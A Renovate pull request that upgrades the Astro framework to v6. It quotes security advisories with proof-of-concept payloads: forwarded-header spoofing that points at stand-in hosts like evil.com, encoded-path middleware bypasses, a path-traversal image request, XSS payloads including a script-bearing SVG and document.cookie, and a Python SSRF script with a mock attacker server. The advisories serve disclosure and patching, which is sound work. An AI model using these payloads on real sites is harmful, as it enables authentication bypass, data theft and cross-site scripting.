Update dependency astro to v6 [SECURITY]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
astro (source)	^4.0.5 → ^6.0.0

GitHub Vulnerability Alerts

CVE-2025-61925

Summary

When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.

Details

Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.

It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.

This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.

As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.

Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.

PoC

• Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
• nvm use
• yarn run build
• node ./dist/server/entry.mjs
• curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'
• Observe that the response reflects the malicious X-Forwarded-Host header

For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.

Impact

This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

CVE-2025-64525

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

• Middleware-based protected route bypass (only via x-forwarded-proto)
• DoS via cache poisoning (if a CDN is present)
• SSRF (only via x-forwarded-proto)
• URL pollution (potential SXSS, if a CDN is present)
• WAF bypass

Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97
https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:

x-forwarded-proto: https://www.malicious-url.com/?tank=

The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:

url = new URL(`${protocol}://${hostnamePort}${req.url}`);

The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

Note

The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

• Latest Astro version at the time (2.16.0)
• The Node adapter
• Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware
• A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:

// src/middleware.ts
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false; // auth logic
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

1. When tryint to access /admin the attacker is naturally redirected :

   curl -i http://localhost:4321/admin

   

2. The attackr can bypass the middleware path check using a malicious header value:

   curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin

   

How ​​is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

• x: is considered the protocol
• Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How ​​is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:

x-forwarded-proto: javascript:alert(document.cookie)//

results in the following URL object:

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.

x-forwarded-proto: https://www.malicious-site.com/bad?

The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:

X-Forwarded-Port: /nope?

Example of an Astro website:

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:

if (forwardedHostname && !App.validateForwardedHost(...))

Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF:

empty x-forwarded-host + the target host in the path

Credits

• Allam Rachid (zhero;)
• Allam Yasser (inzo)

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

CVE-2025-64757

Summary

A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.

Details

• Title: Arbitrary Local File Read in Astro Development Image Endpoint
• Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
• Component: /packages/astro/src/assets/endpoint/node.ts
• Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
• Attack Vector: Network (HTTP GET request)
• Authentication Required: None

The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.

Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts

// Vulnerable code in development mode
if (import.meta.env.DEV) {
    fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
    // Production has proper path validation
    // ... security checks omitted in dev mode
}

The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.

PoC

Attack Prerequisites

1. Astro development server must be running (astro dev)
2. The /_image endpoint must be accessible to the attacker
3. Target image files must be readable by the Node.js process

Exploit Steps

1. Start Astro Development Server:

   astro dev  # Typically runs on http://localhost:4321

2. Craft Malicious Request:

   GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1
   Host: localhost:4321

3. Example Attack:

   curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png

Demonstration Results

Test Environment: macOS with Astro v5.13.3

Successful Exploitation:

• Target: /System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg
• Response: HTTP 200 OK, Content-Type: image/png
• Exfiltration: 303 bytes (100x100 PNG)
• File Created: stolen-image.png containing processed system image

Attack Payload:

http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png

Server Response:

Status: 200 OK
Content-Type: image/png
Content-Length: 303

Impact

Confidentiality Impact: HIGH

• Scope: Any image file readable by the Node.js process
• Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)

Integrity Impact: NONE

• The vulnerability only allows reading files, not modification

Availability Impact: NONE

• No direct impact on system availability
• Potential for resource exhaustion through repeated large image requests

Affected Components

Primary Component

• File: packages/astro/src/assets/endpoint/node.ts
• Function: loadLocalImage()
• Lines: Development mode branch (~25-35)

Secondary Components

• File: packages/astro/src/assets/endpoint/generic.ts
• Impact: Uses different code path, not directly vulnerable
• Note: Implements proper remote allowlist validation

Severity

• CVSS Score: 3.5 / 10 (Low)
• Vector String: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

CVE-2025-64764

Summary

After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).

Details

Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: /_server-islands/[name]. These paths can be called via GET or POST and use three parameters:

• e: component to export
• p: the transmitted properties, encrypted
• s: for the slots

Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.

This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.

How ?

By default, when a call is made to the endpoint /_server-islands/[name], the value of the parameter e is default, pointing to a function exported by the component's module.

Upon further investigation, we find that two other values ​​are possible for the component export (param e) in a typical configuration: url and file. file returns a string value corresponding to the absolute path of the island file. Since the value is of type string, it fulfills the following condition and leads to this code block:

An entire template is created, completely independently, and then returned:

• the absolute path name is sanitized and then injected as the tag name
• childSlots, the value provided to the s parameter, is injected as a child

All of this is done using markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.

Proof of concept

For our Proof of Concept (PoC), we will use a minimal repository:

• Latest Astro version at the time (5.15.6)
• Use of Island servers, with a completely empty component, to demonstrate what we explained previously

Download the PoC repository

Access the following URL and note the opening of the popup, demonstrating the reflected XSS:

http://localhost:4321/_server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22}

The value of the parameter s must be in JSON format and the payload must be injected at the value level, not the key level :

Despite the initial template being empty, it is created because the value of the URL parameter e is set to file, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameter s.

Credits

• Allam Rachid (zhero;)
• Allam Yasser (inzo)

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

CVE-2025-64765

A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization (decodeURI).

This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.

https://github.com/withastro/astro/blob/ebc4b1cde82c76076d5d673b5b70f94be2c066f3/packages/astro/src/vite-plugin-astro-server/request.ts#L40-L44

/** The main logic to route dev server requests to pages in Astro. */
export async function handleRequest({
    pipeline,
    routesList,
    controller,
    incomingRequest,
    incomingResponse,
}: HandleRequest) {
    const { config, loader } = pipeline;
    const origin = `${loader.isHttps() ? 'https' : 'http'}://${
        incomingRequest.headers[':authority'] ?? incomingRequest.headers.host
    }`;

    const url = new URL(origin + incomingRequest.url);
    let pathname: string;
    if (config.trailingSlash === 'never' && !incomingRequest.url) {
        pathname = '';
    } else {
        // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe
        // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts
        pathname = decodeURI(url.pathname); // here this url is for routing/rendering
    }

    // Add config.base back to url before passing it to SSR
    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context

Consider an application having the following middleware code:

import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false;  // simulate no auth
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

context.url.pathname is validated , if it's equal to /admin the isAuthed property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/

context.url.pathname returns the raw version which is /%61admin while pathname which is used for routing/rendering /admin, this creates a path normalization mismatch.

By sending the following request, it's possible to bypass the middleware check

GET /%61dmin HTTP/1.1
Host: localhost:3000

Remediation

Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this

        pathname = decodeURI(url.pathname);
    }

    // Add config.base back to url before passing it to SSR
-    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname;
+    url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);

Thank you, let @​Sudistark know if any more info is needed. Happy to help :)

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CVE-2025-65019

Summary
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @​astrojs/cloudflare adapter with output: 'server'. The built-in image optimization endpoint (/_image) uses isRemoteAllowed() from Astro’s internal helpers, which unconditionally allows data: URLs. When the endpoint receives a valid data: URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the original data: URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains / image.remotePatterns) and typical Content Security Policy mitigations.

Affected Versions

• @astrojs/cloudflare ≤ 12.6.10 (and likely all previous versions)
• Astro ≥ 4.x when used with output: 'server' and the Cloudflare adapter

Root Cause – Vulnerable Code
File: node_modules/@​astrojs/internal-helpers/src/remote.ts

export function isRemoteAllowed(src: string, ...): boolean {
  if (!URL.canParse(src)) {
    return false;
  }
  const url = new URL(src);

  // Data URLs are always allowed 
  if (url.protocol === 'data:') {
    return true;
  }

  // Non-http(s) protocols are never allowed
  if (!['http:', 'https:'].includes(url.protocol)) {
    return false;
  }
  // ... further http/https allow-list checks
}

In the Cloudflare adapter, the /_image endpoint contains logic similar to:

	const href = ctx.url.searchParams.get('href');
	if (!href) {
		// return error 
	}

	if (isRemotePath(href)) {
		if (isRemoteAllowed(href, imageConfig) === false) {
			// return error
		} else {
            //redirect to return the image 
			return Response.redirect(href, 302);
		}
	}

Because data: URLs are considered “allowed”, a request such as:
https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)

triggers a 302 redirect directly to the data: URL, causing the browser to render and execute the malicious JavaScript inside the SVG.

Proof of Concept (PoC)

1. Create a minimal Astro project with Cloudflare adapter (output: 'server').
2. Deploy to Cloudflare Pages or Workers.
3. Request the image endpoint with the following payload:

https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg==

(Base64 decodes to: <svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)

4. The endpoint returns a 302 redirect to the data: URL → browser executes the <script> → alert() fires.

Impact

• Reflected/Strored XSS (depending on application usage)
• Session hijacking (access to cookies, localStorage, etc.)
• Account takeover when combined with CSRF
• Data exfiltration to attacker-controlled servers
• Bypasses image.domains / image.remotePatterns configuration entirely

Safe vs Vulnerable Behavior
Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (including data: URLs), making it uniquely vulnerable.

References

• Vulnerable function: https://github.com/withastro/astro/blob/main/packages/internal-helpers/src/remote.ts
• Similar data: URL bypass in WordPress: CVE-2025-2575

Severity

• CVSS Score: 5.4 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CVE-2025-66202

Authentication Bypass via Double URL Encoding in Astro

Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794

---

Summary

A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like /%2561dmin instead of /%61dmin, attackers can still bypass authentication and access protected resources such as /admin, /api/internal, or any route protected by middleware pathname checks.

Fix

A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :

if (containsEncodedCharacters(pathname)) {
            // Multi-level encoding detected - reject request
            return new Response(
                'Bad Request: Multi-level URL encoding is not allowed',
                {
                    status: 400,
                    headers: { 'Content-Type': 'text/plain' }
                }
            );
        }

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE-2026-33769

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config

import { defineConfig } from 'astro/config';
import node from '@​astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});

Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code

import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

# Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))

Attacker server

from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()

PoC Steps

1. Bootstrap default Astro project.
2. Add the vulnerable config and attacker server.
3. Build the project.
4. Start the attacker server.
5. Start the Astro server.
6. Run the PoC.
7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Severity

• CVSS Score: 2.9 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

---

Release Notes

withastro/astro (astro)

v6.1.6

Compare Source

Patch Changes

• #​16202 b5c2fba Thanks @​matthewp! - Fixes Actions failing with ActionsWithoutServerOutputError when using output: 'static' with an adapter

• #​16303 b06eabf Thanks @​matthewp! - Improves handling of special characters in inline <script> content

• #​14924 bb4586a Thanks @​aralroca! - Fixes SCSS and CSS module file changes triggering a full page reload instead of hot-updating styles in place during development

v6.1.5

Compare Source

Patch Changes

• #​16171 5bcd03c Thanks @​Desel72! - Fixes a build error that occurred when a pre-rendered page used the <Picture> component and another page called render() on content collection entries.

• #​16239 7c65c04 Thanks @​dataCenter430! - Fixes sync content inside <Fragment> not streaming to the browser until all async sibling expressions have resolved.

• #​16242 686c312 Thanks @​martrapp! - Revives UnoCSS in dev mode when used with the client router.

  This change partly reverts #​16089, which in hindsight turned out to be too general. Instead of automatically persisting all style sheets, we now do this only for styles from Vue components.

• #​16192 79d86b8 Thanks @​alexanderniebuhr! - Uses today’s date for Cloudflare compatibility_date in astro add cloudflare

  When creating new projects, astro add cloudflare now sets compatibility_date to the current date. Previously, this date was resolved from locally installed packages, which could be unreliable in some package manager environments. Using today’s date is simpler and more reliable across environments, and is supported by workerd.

• #​16259 34df955 Thanks @​gameroman! - Removed dlv dependency

v6.1.4

Compare Source

Patch Changes

• #​16197 21f9fe2 Thanks @​SchahinRohani! - Remove unused re-exports from assets/utils barrel file to fix Vite build warning

• #​16059 6d5469e Thanks @​matthewp! - Fixes Expected 'miniflare' to be defined errors and 404 responses in dev mode when using the Cloudflare adapter and the config file changes. Instead of creating a brand new Vite server on config changes, Astro now performs a Vite in-place restart, allowing the Cloudflare adapter to reuse its existing miniflare instance across restarts.

• #​16154 7610ba4 Thanks @​Desel72! - Fixes pages with dots in their filenames (e.g. hello.world.astro) returning 404 when accessed with a trailing slash in the dev server. The trailingSlashForPath function now only forces trailingSlash: 'never' for endpoints with file extensions, allowing pages to correctly respect the user's trailingSlash config.

• #​16193 23425e2 Thanks @​matthewp! - Fixes trailingSlash: "always" producing redirect HTML instead of the actual response for extensionless endpoints during static builds

v6.1.3

Compare Source

Patch Changes

• #​16161 b51f297 Thanks @​matthewp! - Fixes a dev rendering issue with the Cloudflare adapter where head metadata could be missing and dev CSS/scripts could be injected in the wrong place

• #​16110 de669f0 Thanks @​tmimmanuel! - Fixes skew protection query parameters not being appended to inter-chunk JavaScript imports in client bundles, which could cause version mismatches during rolling deployments on Vercel

• #​16162 a0a49e9 Thanks @​rururux! - Fixes an issue where HMR would not trigger when modifying files while using @​astrojs/cloudflare with prerenderEnvironment: 'node' enabled.

• #​16142 7454854 Thanks @​rururux! - Fixes HTML content being incorrectly escaped as plain text when rendering a MDX component using the AstroContainer APIs.

• #​16116 12602a9 Thanks @​riderx! - Fixes a bug where page-level CSS could leak between unrelated pages when traversing style parents across top-level route boundaries

• #​16178 a7e7567 Thanks @​matthewp! - Fixes SSR builds failing with "No matching renderer found" when a project only has injected routes and no src/pages/ directory

v6.1.2

Compare Source

Patch Changes

• #​16104 47a394d Thanks @​matthewp! - Fixes astro preview ignoring vite.preview.allowedHosts set in astro.config.mjs

• #​16047 711f837 Thanks @​matthewp! - Fixes catch-all routes incorrectly intercepting requests for static assets when using the @astrojs/node adapter in middleware mode.

• #​15981 a60cbb6 Thanks @​moktamd! - Fix Zod v4 validation error formatting to show human-readable messages instead of raw JSON

v6.1.1

Compare Source

Patch Changes

• #​16105 23d60de Thanks @​matthewp! - Fix dev toolbar audit crash when encountering the image ARIA role

• #​16089 999c875 Thanks @​martrapp! - Fixes an issue with the client router where Vue's :deep() notation was ignored in dev mode.

v6.1.0

Compare Source

Minor Changes

• #​15804 a5e7232 Thanks @​merlinnot! - Allows setting codec-specific defaults for Astro's built-in Sharp image service via image.service.config.

  You can now configure encoder-level options such as jpeg.mozjpeg, webp.effort, webp.alphaQuality, avif.effort, avif.chromaSubsampling, and png.compressionLevel when using astro/assets/services/sharp for compile-time image generation.

  These settings apply as defaults for the built-in Sharp pipeline, while per-image quality still takes precedence when set on <Image />, <Picture />, or getImage().

• #​15455 babf57f Thanks @​AhmadYasser1! - Adds fallbackRoutes to the IntegrationResolvedRoute type, exposing i18n fallback routes to integrations via the astro:routes:resolved hook for projects using fallbackType: 'rewrite'.

  This allows integrations such as the sitemap integration to properly include generated fallback routes in their output.

  {
    'astro:routes:resolved': ({ routes }) => {
      for (const route of routes) {
        for (const fallback of route.fallbackRoutes) {
          console.log(fallback.pathname) // e.g. /fr/about/
        }
      }
    }
  }

• #​15340 10a1a5a Thanks @​trueberryless! - Adds support for advanced configuration of SmartyPants in Markdown.

  You can now pass an options object to markdown.smartypants in your Astro configuration to fine-tune how punctuation, dashes, and quotes are transformed.

  This is helpful for projects that require specific typographic standards, such as "oldschool" dash handling or localized quotation marks.

  // astro.config.mjs
  export default defineConfig({
    markdown: {
      smartypants: {
        backticks: 'all',
        dashes: 'oldschool',
        ellipses: 'unspaced',
        openingQuotes: { double: '«', single: '‹' },
        closingQuotes: { double: '»', single: '›' },
        quotes: false,
      },
    },
  });

  See the retext-smartypants options for more information.

Patch Changes

• #​16025 a09f319 Thanks @​koji-1009! - Instructs the client router to skip view transition animations when the browser is already providing its own visual transition, such as a swipe gesture.

• #​16055 ccecb8f Thanks @​Gautam-Bharadwaj! - Fixes an issue where client:only components could have duplicate client:component-path attributes added in MDX in rare cases

• #​16081 44fc340 Thanks @​crazylogic03! - Fixes the emitFile() is not supported in serve mode warning that appears during astro dev when using integrations that inject before-hydration scripts (e.g. @astrojs/react)

• #​16068 31d733b Thanks @​Karthikeya1500! - Fixes the dev toolbar a11y audit incorrectly classifying menuitemradio as a non-interactive ARIA role.

• #​16080 e80ac73 Thanks @​ematipico! - Fixes experimental.queuedRendering incorrectly escaping the HTML output of .html page files, causing the page content to render as plain text instead of HTML in the browser.

• #​16048 13b9d56 Thanks @​matthewp! - Fixes a dev server crash (serverIslandNameMap.get is not a function) that occurred when navigating to a page with server:defer after first visiting a page without one, when using @astrojs/cloudflare

• #​16093 336e086 Thanks @​Snugug! - Fixes Zod meta not correctly being rendered on top-level schema when converted into JSON Schema

• #​16043 d402485 Thanks @​ematipico! - Fixes checkOrigin CSRF protection in astro dev behind a TLS-terminating reverse proxy. The dev server now reads X-Forwarded-Proto (gated on security.allowedDomains, matching production behaviour) so the constructed request origin matches the https:// origin the browser sends. Also ensures security.allowedDomains and security.checkOrigin are respected in dev.

• #​16064 ba58e0d Thanks @​ematipico! - Updates the dependency svgo to the latest, to fix a security issue.

